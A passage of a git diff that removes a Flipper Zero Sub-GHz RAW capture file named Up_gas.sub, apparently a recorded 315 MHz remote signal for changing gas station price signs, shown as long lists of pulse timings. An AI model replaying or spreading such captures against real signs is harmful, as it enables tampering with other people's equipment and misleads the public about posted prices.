323 -140 333 -126 319 -156 91 -374 101 -368 127 -354 351 -138 105 -362 103 -370 345 -140 303 -132 133 -348 105 -370 365 -106 337 -128 97 -3754 99 -362 93 -390 101 -394 319 -142 319 -142 335 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -342 135 -334 353 -140 335 -126 95 -372 139 -334 367 -106 339 -128 99 -3754 99 -362 93 -390 103 -394 319 -140 319 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 125 -360 327 -122 141 -344 135 -334 351 -140 335 -126 95 -372 139 -334 367 -106 339 -128 131 -3716 99 -364 125 -358 103 -392 319 -142 357 -106 335 -124 359 -104 359 -108 141 -362 319 -140 359 -106 335 -122 109 -376 97 -362 123 -360 329 -122 123 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3750 99 -362 123 -340 127 -372 347 -94 361 -122 337 -128 339 -128 337 -128 125 -344 357 -140 335 -126 349 -94 121 -374 101 -370 125 -352 353 -140 105 -362 105 -370 343 -106 339 -130 133 -346 105 -370 365 -106 337 -130 97 -3750 99 -362 125 -358 103 -394 317 -142 357 -106 335 -122 361 -104 357 -108 141 -362 319 -140 359 -106 335 -124 107 -376 97 -362 125 -360 327 -122 123 -356 139 -336 371 -106 337 -130 131 -346 107 -368 365 -108 337 -128 99 -3754 99 -360 93 -392 101 -394 319 -106 355 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 109 -374 99 -362 123 -360 327 -124 141 -342 135 -334 353 -140 335 -126 97 -368 141 -334 367 -106 339 -128 131 -3718 99 -362 123 -360 101 -394 319 -140 359 -106 335 -124 359 -104 359 -106 143 -362 319 -140 357 -108 333 -124 109 -374 99 -360 125 -360 327 -122 123 -356 139 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -130 97 -3758 99 -360 93 -390 103 -358 355 -106 353 -140 333 -124 359 -104 359 -106 143 -362 319 -142 355 -108 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -334 351 -140 335 -128 95 -368 141 -334 367 -108 337 -128 -RAW_Data: 131 -3726 99 -360 93 -390 101 -394 321 -104 355 -140 333 -124 361 -104 357 -108 141 -344 347 -94 391 -104 357 -108 105 -350 125 -362 139 -334 367 -94 121 -372 95 -372 347 -124 351 -124 109 -374 97 -360 351 -140 333 -94 127 -3746 99 -380 103 -360 103 -372 347 -106 373 -98 359 -94 391 -104 357 -108 105 -398 319 -140 321 -142 333 -124 109 -374 97 -362 123 -360 327 -122 141 -342 137 -334 353 -140 335 -126 95 -370 141 -334 365 -108 337 -130 131 -3694 131 -350 137 -360 105 -370 343 -106 339 -130 355 -94 389 -106 357 -108 105 -398 321 -106 353 -142 331 -124 109 -376 97 -360 125 -360 327 -122 143 -342 135 -334 353 -140 335 -126 95 -370 139 -334 369 -106 337 -130 131 -3724 99 -360 93 -390 103 -392 321 -140 319 -140 333 -124 361 -104 357 -108 141 -364 317 -142 357 -106 335 -124 107 -376 97 -364 123 -360 327 -122 143 -342 135 -334 351 -140 335 -128 95 -370 139 -334 367 -106 339 -128 131 -3716 99 -352 125 -372 95 -372 347 -124 349 -126 337 -128 339 -128 337 -128 125 -352 351 -102 369 -92 375 -96 121 -372 103 -368 125 -352 351 -140 105 -362 105 -370 343 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3748 101 -364 123 -360 103 -394 319 -140 357 -106 335 -122 361 -104 357 -108 141 -362 319 -140 359 -106 335 -124 107 -376 97 -362 123 -360 327 -124 121 -358 139 -334 371 -106 339 -128 133 -346 141 -334 365 -106 339 -128 97 -3758 99 -360 93 -390 101 -394 321 -106 353 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -364 123 -360 327 -124 141 -342 135 -334 353 -140 335 -126 95 -370 141 -334 367 -106 339 -128 131 -3716 101 -362 123 -360 103 -394 317 -142 357 -106 335 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -364 123 -360 327 -122 123 -358 139 -334 371 -106 339 -128 133 -346 105 -370 365 -106 337 -130 97 -3756 99 -360 93 -392 101 -394 321 -106 351 -142 333 -122 361 -104 359 -106 143 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 141 -342 137 -334 351 -140 335 -126 95 -384 91 -380 353 -104 349 -140 105 -3736 97 -384 103 -360 103 -370 345 -108 337 -132 357 -92 369 -128 339 -128 93 -368 367 -106 339 -128 357 -124 89 -376 137 -334 125 -356 351 -140 107 -362 105 -368 345 -106 339 -130 131 -346 107 -368 365 -108 337 -128 97 -3750 99 -362 123 -372 95 -372 347 -94 361 -124 -RAW_Data: 337 -126 339 -128 337 -128 127 -342 355 -142 333 -128 349 -94 121 -374 137 -334 125 -354 353 -138 107 -362 105 -368 345 -106 339 -130 131 -346 107 -368 365 -108 337 -128 97 -3752 99 -362 123 -360 101 -394 319 -140 359 -106 335 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 121 -358 139 -336 371 -106 337 -130 131 -348 105 -368 365 -108 337 -128 97 -3750 99 -362 125 -338 127 -372 347 -96 359 -124 337 -128 337 -128 337 -128 127 -342 357 -140 333 -128 349 -94 121 -374 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -348 105 -370 365 -106 339 -128 97 -3750 99 -362 123 -360 101 -394 319 -140 359 -106 335 -124 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 107 -376 97 -362 125 -360 327 -122 121 -358 139 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3748 99 -382 93 -372 95 -372 347 -124 351 -124 337 -128 337 -130 337 -126 127 -350 351 -140 333 -92 377 -96 121 -372 103 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -132 131 -348 105 -370 365 -106 337 -130 97 -3756 99 -360 93 -392 101 -394 319 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 125 -360 327 -122 141 -344 135 -334 353 -138 335 -128 95 -370 141 -334 365 -108 337 -130 131 -3722 99 -384 101 -360 105 -370 345 -106 339 -132 357 -92 391 -104 359 -108 105 -398 319 -142 319 -140 333 -124 109 -374 97 -362 125 -360 327 -122 123 -358 139 -334 371 -106 339 -128 133 -346 105 -370 365 -106 337 -130 97 -3756 99 -362 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -364 123 -360 327 -124 141 -342 135 -334 353 -140 335 -126 95 -370 141 -334 367 -106 337 -130 131 -3724 99 -346 127 -372 95 -374 347 -124 345 -94 391 -104 357 -108 337 -124 145 -340 347 -106 371 -100 359 -124 107 -374 97 -360 125 -338 349 -134 139 -360 105 -336 373 -106 339 -130 131 -348 93 -380 353 -104 351 -140 105 -3730 99 -380 101 -362 103 -372 347 -108 371 -100 361 -92 369 -128 339 -128 93 -368 367 -106 337 -130 357 -124 89 -376 137 -334 125 -356 349 -140 105 -364 105 -368 345 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3752 99 -362 125 -340 127 -372 315 -126 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 -RAW_Data: 351 -94 121 -372 103 -368 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3750 99 -364 123 -340 129 -372 315 -126 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 351 -94 121 -372 103 -368 125 -354 351 -140 105 -364 103 -370 343 -108 339 -130 131 -348 105 -370 363 -108 337 -128 97 -3726 131 -360 93 -392 101 -394 321 -104 353 -140 333 -124 361 -104 357 -108 141 -364 319 -140 357 -106 335 -124 107 -376 97 -362 123 -360 329 -122 141 -342 137 -334 351 -140 335 -128 95 -368 141 -334 367 -106 339 -128 131 -3724 99 -360 93 -392 101 -394 319 -142 319 -142 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 335 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 97 -370 139 -334 367 -108 337 -130 129 -3716 101 -364 123 -360 101 -396 319 -140 357 -106 335 -124 359 -104 359 -108 141 -362 319 -140 359 -106 335 -122 109 -376 97 -362 123 -360 327 -122 123 -358 139 -334 371 -106 337 -130 133 -346 105 -370 365 -106 337 -128 99 -3748 101 -364 123 -360 101 -394 319 -142 355 -106 335 -124 359 -104 359 -108 141 -362 317 -142 357 -106 335 -124 109 -374 97 -362 125 -358 329 -122 123 -356 139 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 99 -3752 99 -380 103 -360 105 -370 347 -106 371 -98 359 -124 359 -104 359 -106 107 -398 319 -140 319 -142 333 -124 109 -374 99 -360 125 -360 327 -122 123 -358 137 -336 369 -106 337 -130 131 -346 105 -370 365 -106 337 -130 97 -3754 99 -362 125 -358 103 -394 319 -140 355 -106 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 141 -342 137 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3694 131 -360 93 -390 101 -394 321 -106 351 -142 333 -124 359 -104 359 -106 141 -362 319 -140 359 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3714 99 -352 127 -370 97 -372 347 -124 347 -126 337 -128 339 -128 337 -126 95 -384 349 -104 337 -122 375 -96 121 -372 101 -370 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 133 -346 105 -370 365 -106 337 -128 diff --git a/assets/resources/subghz/Gas_Sign/Up_gas.sub b/assets/resources/subghz/Gas_Sign/Up_gas.sub deleted file mode 100644 index 843448f6c..000000000 --- a/assets/resources/subghz/Gas_Sign/Up_gas.sub +++ /dev/null @@ -1,51 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 141 -623 361 -1286510 165 -360 139 -326 143 -334 365 -108 337 -94 349 -126 337 -128 337 -128 127 -348 351 -102 337 -124 339 -128 121 -338 133 -366 91 -380 317 -134 141 -360 107 -334 127 -354 93 -370 129 -340 129 -338 347 -124 337 -128 93 -3730 97 -372 97 -372 95 -370 347 -94 369 -96 369 -98 337 -124 365 -106 141 -362 317 -142 321 -140 333 -94 139 -340 127 -356 93 -370 347 -132 103 -358 141 -334 93 -384 93 -372 95 -372 129 -340 347 -124 337 -128 91 -3732 97 -374 95 -372 95 -370 347 -94 369 -96 369 -96 339 -124 363 -106 141 -364 319 -106 353 -142 333 -92 139 -340 127 -358 123 -360 329 -122 89 -378 137 -334 125 -354 93 -372 129 -338 129 -340 347 -124 337 -128 91 -3740 97 -360 101 -386 105 -336 353 -140 303 -126 349 -138 361 -106 335 -128 95 -364 353 -106 347 -140 299 -124 141 -340 127 -358 95 -390 327 -124 89 -378 101 -370 93 -386 93 -372 95 -372 129 -340 347 -126 337 -128 91 -3738 97 -360 101 -386 105 -336 353 -140 333 -94 383 -104 361 -108 337 -94 127 -364 353 -106 349 -104 365 -94 139 -340 127 -358 93 -392 327 -122 91 -376 139 -332 125 -354 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3702 99 -360 135 -356 105 -336 355 -140 333 -94 347 -126 337 -128 337 -128 127 -346 353 -102 337 -124 343 -126 121 -372 101 -366 93 -378 349 -102 141 -362 105 -336 127 -354 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3712 99 -358 103 -384 105 -336 353 -140 335 -94 383 -104 361 -106 337 -96 125 -366 355 -104 349 -104 367 -92 139 -340 127 -358 93 -392 327 -122 109 -376 97 -360 125 -338 129 -340 129 -338 129 -338 377 -96 369 -96 125 -3696 131 -340 129 -338 127 -342 343 -126 337 -130 337 -126 339 -124 355 -104 141 -362 319 -106 355 -142 331 -94 139 -340 127 -372 105 -360 351 -106 107 -348 123 -356 137 -354 105 -338 123 -386 103 -360 351 -106 359 -108 105 -3708 99 -358 137 -356 105 -336 355 -140 335 -94 357 -138 325 -142 339 -102 135 -350 355 -106 345 -102 331 -126 119 -374 101 -368 93 -394 329 -132 103 -358 105 -370 93 -380 103 -360 103 -374 99 -364 351 -138 301 -126 123 -3702 133 -356 103 -358 105 -370 329 -142 337 -128 315 -126 337 -130 337 -128 95 -380 351 -104 335 -124 343 -128 121 -370 101 -366 91 -382 317 -134 105 -396 105 -334 127 -354 95 -370 97 -372 129 -340 347 -124 339 -128 91 -3730 99 -394 101 -354 107 -336 355 -140 -RAW_Data: 335 -94 355 -140 359 -106 341 -102 135 -350 355 -106 345 -102 363 -94 121 -372 103 -366 93 -396 329 -98 135 -358 105 -370 93 -392 103 -360 103 -382 103 -336 353 -140 333 -94 123 -3702 131 -354 103 -358 141 -336 331 -142 335 -126 317 -126 337 -128 339 -128 125 -346 353 -140 301 -124 343 -126 121 -372 101 -366 93 -380 349 -102 141 -362 105 -334 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3706 97 -360 135 -356 105 -336 357 -140 333 -94 355 -140 361 -106 341 -100 135 -352 351 -94 363 -104 337 -124 121 -354 139 -334 125 -368 331 -98 135 -358 107 -368 93 -380 103 -360 139 -338 99 -364 351 -140 333 -92 139 -3682 131 -340 129 -340 127 -340 345 -126 337 -128 339 -126 337 -126 361 -104 141 -362 319 -140 321 -142 333 -92 139 -340 127 -358 93 -392 327 -124 119 -346 139 -334 127 -352 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3706 97 -372 97 -372 97 -370 347 -124 339 -128 337 -128 337 -94 375 -108 143 -362 313 -142 325 -108 337 -126 123 -354 139 -334 125 -354 349 -104 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3706 99 -358 137 -354 107 -336 355 -140 333 -94 357 -140 359 -106 341 -102 135 -350 357 -106 345 -102 363 -92 121 -374 101 -368 91 -396 329 -132 103 -358 105 -370 93 -380 103 -360 139 -338 99 -364 351 -140 331 -94 125 -3702 131 -356 103 -358 143 -334 329 -142 335 -94 361 -140 361 -106 339 -102 133 -352 357 -106 345 -102 361 -94 121 -372 101 -368 93 -396 329 -98 137 -356 107 -370 93 -380 103 -362 103 -374 99 -364 349 -104 337 -124 125 -3700 133 -354 103 -358 143 -334 331 -140 337 -126 329 -140 359 -106 341 -100 135 -352 353 -92 363 -104 337 -124 121 -354 139 -334 125 -354 351 -102 141 -362 105 -336 127 -370 105 -360 103 -382 103 -336 351 -140 335 -94 125 -3702 131 -356 101 -396 105 -334 365 -108 337 -126 329 -140 359 -106 341 -100 135 -352 357 -106 345 -102 363 -92 121 -372 101 -368 93 -396 329 -98 135 -358 107 -370 93 -380 103 -360 139 -338 99 -364 351 -140 331 -94 125 -3704 133 -358 101 -358 107 -370 327 -140 335 -94 359 -140 361 -106 341 -102 133 -352 353 -92 363 -106 335 -124 123 -352 139 -334 127 -368 331 -98 135 -358 107 -370 93 -380 103 -360 103 -374 99 -364 351 -104 367 -94 141 -3678 131 -340 129 -338 129 -370 345 -94 369 -98 337 -128 337 -126 363 -104 141 -364 319 -140 -RAW_Data: 321 -142 333 -92 139 -340 127 -358 93 -392 327 -122 121 -348 137 -336 125 -354 93 -370 129 -340 129 -338 349 -124 337 -126 123 -3704 97 -374 95 -372 129 -340 345 -126 337 -128 337 -128 337 -126 343 -108 141 -362 315 -140 325 -144 303 -126 125 -358 139 -334 125 -352 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -124 337 -126 123 -3700 99 -372 127 -340 127 -340 347 -124 337 -128 337 -128 337 -126 341 -122 93 -372 349 -132 329 -124 337 -128 121 -338 131 -334 123 -378 349 -102 139 -362 105 -336 127 -354 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3702 99 -392 103 -358 105 -338 357 -140 333 -96 357 -140 359 -106 341 -102 135 -350 357 -104 347 -102 363 -92 121 -374 101 -368 93 -394 331 -98 135 -358 107 -370 93 -380 101 -362 139 -336 101 -364 351 -138 333 -94 125 -3704 131 -356 103 -358 107 -370 329 -140 337 -126 329 -140 325 -140 341 -100 135 -350 357 -106 345 -102 363 -92 121 -374 101 -370 91 -396 329 -98 137 -356 107 -368 93 -394 101 -362 103 -382 103 -336 351 -140 333 -94 127 -3706 131 -358 101 -358 107 -370 329 -140 335 -126 317 -126 337 -128 339 -128 125 -346 355 -138 333 -94 343 -126 121 -372 101 -368 91 -380 351 -102 141 -362 105 -334 127 -356 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3704 97 -372 95 -372 129 -340 345 -124 337 -128 339 -128 337 -128 341 -142 105 -362 347 -106 361 -106 335 -128 95 -366 103 -368 93 -386 319 -134 139 -362 105 -336 127 -358 93 -370 97 -372 129 -340 349 -124 339 -128 91 -3738 99 -372 95 -372 95 -372 345 -94 369 -96 371 -96 369 -94 367 -106 141 -362 319 -140 321 -142 333 -94 139 -340 127 -360 93 -390 327 -124 89 -378 139 -334 125 -354 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3704 99 -392 103 -356 107 -336 355 -140 337 -126 327 -138 325 -142 339 -102 133 -350 355 -104 345 -138 329 -124 91 -374 101 -368 93 -396 331 -132 103 -358 105 -368 95 -382 95 -390 103 -354 107 -368 325 -140 335 -126 95 -3706 133 -354 103 -358 143 -334 365 -108 335 -128 317 -126 337 -128 337 -128 125 -344 353 -140 333 -94 347 -126 121 -370 101 -368 91 -382 349 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3708 99 -360 135 -356 105 -336 355 -140 333 -94 347 -128 337 -128 337 -128 127 -344 353 -140 333 -94 343 -126 121 -372 101 -366 93 -380 349 -104 -RAW_Data: 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3704 97 -394 101 -358 105 -338 355 -140 335 -94 359 -140 359 -106 341 -102 133 -352 353 -92 365 -104 337 -124 121 -354 137 -334 127 -368 331 -98 137 -356 107 -370 93 -392 103 -360 103 -382 103 -336 351 -140 333 -94 125 -3708 131 -358 103 -358 107 -370 327 -140 335 -128 317 -126 369 -96 339 -126 127 -344 353 -140 333 -94 345 -126 123 -370 101 -368 91 -380 349 -104 141 -362 105 -336 127 -354 95 -370 129 -340 127 -340 347 -124 337 -128 121 -3706 99 -394 101 -358 105 -336 357 -140 333 -96 357 -140 359 -106 341 -102 135 -348 341 -96 369 -98 369 -94 125 -356 127 -338 129 -372 315 -122 141 -342 135 -334 123 -340 127 -372 97 -372 95 -372 345 -94 391 -104 103 -3706 139 -336 99 -364 125 -360 327 -122 339 -128 337 -128 337 -128 337 -124 123 -346 349 -130 331 -124 337 -128 121 -338 131 -336 123 -378 349 -102 141 -362 105 -334 127 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3708 97 -394 103 -356 105 -336 355 -140 335 -94 357 -140 361 -106 339 -102 135 -352 357 -106 345 -102 363 -92 121 -374 101 -368 93 -382 349 -104 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 99 -360 135 -356 105 -338 355 -140 333 -94 357 -140 361 -104 343 -100 135 -350 341 -96 369 -96 369 -96 125 -362 125 -340 129 -340 347 -124 121 -352 139 -334 127 -354 93 -392 101 -358 107 -368 329 -140 337 -94 127 -3712 133 -338 127 -340 129 -340 347 -124 359 -104 359 -108 337 -124 357 -106 139 -356 327 -126 347 -94 355 -140 103 -354 95 -370 129 -340 347 -124 119 -348 139 -334 127 -354 95 -370 129 -340 127 -340 347 -124 339 -126 123 -3702 99 -370 129 -340 127 -340 347 -124 337 -128 337 -130 337 -126 339 -124 123 -342 349 -132 329 -124 337 -128 121 -338 131 -334 123 -378 349 -102 141 -362 105 -336 127 -354 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3704 99 -392 103 -358 107 -336 357 -140 333 -96 357 -140 359 -106 341 -102 135 -352 353 -92 363 -106 335 -124 123 -352 139 -334 125 -354 351 -104 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -122 339 -126 123 -3704 99 -392 103 -358 107 -336 357 -140 335 -94 359 -140 359 -106 341 -102 133 -352 353 -94 363 -106 337 -124 121 -354 137 -336 125 -368 329 -100 135 -358 107 -368 93 -382 93 -392 101 -358 107 -368 -RAW_Data: 327 -140 335 -94 127 -3706 133 -356 101 -358 143 -334 365 -108 335 -126 329 -140 361 -106 341 -100 135 -352 357 -106 345 -102 363 -92 121 -372 103 -368 93 -394 329 -134 101 -358 107 -368 93 -394 101 -362 103 -382 103 -336 353 -138 335 -94 125 -3710 131 -340 129 -338 129 -340 347 -124 359 -106 357 -108 337 -124 357 -106 139 -356 327 -126 363 -104 361 -106 105 -348 137 -354 107 -336 355 -140 107 -362 105 -370 99 -360 123 -360 103 -358 141 -334 363 -108 335 -128 95 -3710 131 -358 101 -358 143 -334 329 -140 337 -126 329 -140 361 -106 341 -100 135 -352 357 -106 345 -102 363 -92 121 -372 103 -368 93 -394 329 -134 101 -358 107 -368 93 -394 101 -362 103 -382 103 -336 351 -140 333 -94 127 -3704 131 -342 127 -340 129 -338 349 -122 341 -126 337 -130 337 -126 337 -126 123 -346 347 -132 331 -124 337 -126 123 -338 131 -336 123 -378 347 -104 141 -360 107 -334 127 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3712 97 -360 135 -356 105 -336 355 -140 335 -94 347 -126 337 -130 337 -128 125 -346 353 -140 333 -94 345 -126 121 -370 101 -368 91 -382 349 -102 141 -362 105 -336 127 -354 95 -370 129 -340 129 -338 349 -124 337 -128 121 -3706 97 -394 103 -358 105 -336 357 -140 335 -94 357 -140 361 -106 341 -100 135 -352 357 -106 345 -102 363 -92 121 -374 101 -368 93 -396 329 -132 101 -358 107 -370 93 -392 103 -360 103 -382 105 -336 351 -140 335 -94 125 -3708 133 -358 101 -358 107 -370 327 -140 335 -128 327 -140 361 -106 341 -100 135 -352 353 -92 365 -104 337 -124 121 -354 139 -334 125 -368 333 -98 135 -358 107 -370 93 -380 103 -360 139 -338 99 -366 349 -104 369 -94 139 -3714 99 -358 103 -384 105 -336 353 -140 333 -94 347 -126 337 -130 337 -128 125 -344 353 -140 333 -94 347 -126 121 -370 101 -368 91 -382 349 -102 141 -362 105 -336 127 -356 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3710 99 -392 103 -356 105 -336 357 -140 335 -94 357 -140 361 -106 341 -100 135 -348 343 -96 369 -96 369 -94 125 -362 127 -340 129 -338 349 -122 121 -354 139 -334 125 -370 103 -360 103 -384 103 -336 353 -140 333 -94 139 -3714 99 -358 103 -386 105 -336 353 -140 333 -94 349 -126 369 -96 337 -128 127 -344 353 -140 333 -94 345 -126 121 -372 101 -366 93 -380 349 -104 141 -362 105 -336 127 -354 95 -370 129 -340 129 -338 349 -122 339 -126 123 -3710 99 -358 137 -356 105 -336 -RAW_Data: 357 -140 335 -94 357 -140 359 -106 341 -102 135 -348 341 -96 369 -98 369 -94 125 -362 127 -338 129 -340 349 -122 123 -352 139 -334 127 -354 93 -392 101 -358 107 -370 327 -142 335 -94 127 -3706 131 -352 103 -394 105 -334 369 -108 335 -128 321 -126 369 -96 337 -128 127 -342 355 -140 333 -94 345 -126 123 -372 101 -366 91 -382 349 -104 139 -362 105 -336 127 -356 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3704 99 -394 101 -358 107 -368 327 -140 335 -94 357 -140 361 -106 341 -100 135 -352 353 -92 365 -104 337 -124 121 -354 139 -334 125 -368 331 -100 135 -358 107 -368 93 -394 101 -362 103 -382 103 -336 351 -140 333 -94 127 -3706 131 -354 103 -394 105 -334 367 -108 335 -128 319 -124 369 -98 337 -128 127 -342 355 -140 333 -94 345 -126 123 -370 101 -366 93 -380 351 -102 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3704 131 -338 129 -338 129 -340 347 -124 337 -126 339 -128 337 -128 339 -124 123 -342 347 -132 331 -124 337 -126 123 -338 131 -336 123 -378 347 -104 139 -362 107 -334 127 -356 93 -372 129 -340 127 -340 347 -124 337 -128 121 -3712 97 -394 103 -356 105 -336 355 -140 335 -94 357 -140 361 -106 341 -100 135 -352 357 -106 345 -102 363 -94 121 -372 103 -366 125 -366 329 -98 137 -358 105 -370 93 -380 103 -360 139 -338 99 -366 349 -140 333 -94 125 -3708 131 -358 103 -358 105 -370 329 -140 337 -126 327 -140 361 -106 341 -102 133 -354 353 -92 363 -106 335 -124 123 -352 139 -334 127 -354 349 -104 141 -362 105 -336 127 -358 93 -390 103 -358 105 -370 329 -140 337 -126 95 -3714 131 -340 127 -340 129 -340 347 -124 357 -104 359 -108 339 -124 359 -104 139 -356 329 -126 361 -106 359 -106 105 -350 137 -356 105 -336 355 -142 105 -362 105 -370 99 -360 125 -358 103 -358 141 -334 365 -106 337 -126 97 -3710 131 -358 101 -358 143 -334 363 -106 337 -128 329 -140 359 -106 341 -102 133 -352 357 -106 345 -102 363 -94 119 -374 103 -368 125 -362 331 -132 103 -358 105 -370 93 -380 95 -370 129 -340 129 -338 347 -126 335 -128 123 -3708 99 -358 137 -354 107 -336 355 -140 335 -94 357 -140 359 -106 341 -102 135 -352 353 -94 363 -106 335 -124 121 -354 139 -334 125 -370 329 -98 137 -358 107 -368 93 -394 101 -362 103 -382 105 -336 351 -140 333 -94 125 -3710 131 -358 103 -358 105 -370 329 -142 335 -126 329 -140 361 -106 341 -100 135 -352 -RAW_Data: 353 -92 363 -106 337 -124 121 -356 139 -334 125 -354 349 -104 141 -362 105 -336 129 -356 93 -370 129 -340 129 -338 349 -122 339 -126 123 -3710 99 -394 101 -358 105 -336 357 -140 333 -96 357 -140 361 -106 341 -100 135 -352 353 -94 363 -106 335 -124 121 -354 139 -334 125 -368 333 -98 135 -358 107 -370 93 -392 101 -362 103 -382 103 -336 353 -138 335 -94 125 -3704 129 -354 137 -360 105 -336 369 -106 337 -128 319 -126 369 -96 337 -128 127 -342 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 349 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -124 337 -128 121 -3702 131 -362 101 -358 107 -368 327 -140 335 -96 359 -140 361 -106 341 -100 135 -352 357 -106 345 -102 363 -94 121 -372 103 -368 93 -394 329 -132 103 -358 105 -370 93 -392 103 -360 103 -384 105 -334 353 -140 333 -94 125 -3708 131 -356 103 -358 141 -336 365 -106 337 -128 317 -126 369 -96 337 -128 127 -342 355 -140 333 -94 345 -126 123 -370 101 -368 91 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3706 97 -394 103 -358 105 -338 357 -140 335 -94 357 -140 361 -106 341 -100 135 -352 353 -94 363 -104 337 -124 121 -356 139 -334 127 -352 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3704 131 -340 127 -340 127 -340 347 -124 339 -126 339 -128 337 -128 337 -124 123 -344 349 -132 331 -124 335 -128 123 -338 131 -336 123 -376 351 -102 141 -362 105 -336 125 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3704 97 -394 103 -358 105 -370 325 -140 335 -94 359 -140 359 -106 341 -102 135 -352 357 -106 345 -102 363 -94 119 -374 101 -370 91 -396 329 -134 101 -358 107 -370 93 -392 103 -360 103 -382 105 -336 351 -140 333 -94 125 -3710 131 -358 103 -358 141 -334 363 -108 335 -128 329 -140 361 -106 341 -100 135 -350 353 -94 363 -106 337 -124 121 -354 139 -336 125 -354 349 -104 141 -362 105 -338 127 -356 93 -370 129 -340 129 -338 349 -122 339 -126 123 -3708 99 -392 103 -358 105 -338 355 -140 335 -96 359 -138 361 -106 341 -100 135 -352 353 -94 363 -106 335 -124 123 -352 139 -336 125 -368 331 -98 137 -358 105 -370 93 -392 103 -360 103 -384 103 -336 351 -140 335 -94 125 -3708 133 -356 103 -358 141 -334 365 -106 337 -128 327 -140 361 -106 341 -102 133 -350 341 -96 369 -96 369 -96 125 -362 125 -340 129 -338 -RAW_Data: 349 -122 121 -356 139 -334 125 -356 93 -370 129 -340 127 -340 347 -124 357 -104 141 -3682 137 -340 137 -334 123 -340 349 -132 333 -124 357 -106 359 -108 337 -124 143 -342 347 -106 337 -130 357 -92 141 -340 127 -354 125 -340 349 -132 101 -360 141 -336 93 -384 93 -370 129 -340 129 -338 349 -124 337 -126 123 -3706 99 -394 101 -356 107 -336 357 -140 335 -94 359 -138 361 -106 341 -102 135 -352 353 -92 363 -106 337 -124 121 -356 137 -336 125 -354 349 -104 141 -364 103 -336 129 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3702 133 -358 101 -358 107 -370 327 -142 335 -126 317 -126 369 -96 337 -130 125 -344 355 -138 335 -94 345 -126 121 -372 101 -368 93 -380 349 -102 141 -362 107 -336 127 -354 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3708 97 -394 101 -358 107 -368 327 -140 335 -94 357 -140 361 -106 341 -102 135 -352 353 -92 363 -106 335 -124 123 -354 139 -334 127 -354 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3704 131 -360 103 -358 105 -370 327 -140 335 -94 359 -140 361 -106 341 -100 135 -352 357 -104 345 -104 363 -94 119 -374 101 -370 123 -364 329 -134 103 -358 105 -370 93 -380 95 -370 129 -340 129 -338 349 -124 337 -128 121 -3708 99 -392 103 -356 107 -336 355 -140 335 -94 357 -140 361 -106 341 -100 135 -352 353 -94 363 -104 337 -124 123 -354 139 -334 125 -368 331 -100 135 -358 107 -368 93 -382 93 -392 101 -358 107 -368 327 -140 335 